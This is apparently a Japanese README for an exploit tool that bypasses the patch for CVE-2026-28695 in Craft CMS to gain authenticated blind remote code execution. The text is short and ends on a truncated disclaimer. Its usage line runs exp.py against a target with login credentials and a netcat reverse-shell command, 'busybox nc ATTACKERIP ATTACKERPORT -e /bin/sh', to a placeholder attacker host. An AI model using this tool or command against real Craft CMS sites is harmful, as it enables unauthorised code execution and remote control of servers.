CVE-2026-28695

CVE-2026-28695 パッチバイパス - Craft CMS ブラインドRCE Craft CMS における認証済みブラインドリモートコード実行。CVE-2026-28695 の修正（コミット e31e508）で追加された create - BaseObject 制限をバイパスします。 使用方法 python3 exp.py -t http://target.htb -u user -p 'password' -c 'busybox nc ATTACKERIP ATTACKERPORT -e /bin/sh' 免責事項...